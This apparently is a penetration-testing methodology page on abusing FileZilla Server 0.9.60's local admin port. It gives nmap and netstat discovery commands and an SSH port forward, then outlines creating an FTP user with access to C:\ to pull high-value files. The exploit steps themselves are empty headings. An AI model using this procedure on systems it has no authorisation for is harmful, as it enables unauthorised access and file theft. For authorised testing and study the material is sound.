FileZilla Server 0.9.60 beta

FileZilla Server on Windows exposes a local administration service on 127.0.0.1:14147. If you have SSH access to the host, port forward that admin service back to your box and abuse public 0.9.60 tooling to create an FTP user with broad filesystem access.

Discovery

nmap -sC -sV -p21,22,14147,33333,8089 TARGET

Look for:

21/tcp open  ftp  FileZilla ftpd 0.9.60 beta

From a low-privileged Windows shell, confirm the admin port:

netstat -ano | findstr /i 14147

Expected:

TCP    127.0.0.1:14147        0.0.0.0:0              LISTENING

Port Forward Local Admin Service

ssh USER@TARGET -L 14147:127.0.0.1:14147

Verify locally:

netstat -antpu | grep 14147

Browsing or connecting directly to http://127.0.0.1:14147 should show FileZilla's binary admin protocol and warnings such as:

You appear to be behind a NAT router...
Warning: FTP over TLS is not enabled...

Exploit 0.9.60 Admin Port

Public tooling:

Browse to:

If the exploit succeeds, it creates an FTP user:

Use the credentials against FTP:

The user should now have access to the root of C:\:

Pull high-value files directly:

Useful Enumeration Around This

Installed product evidence:

Last updated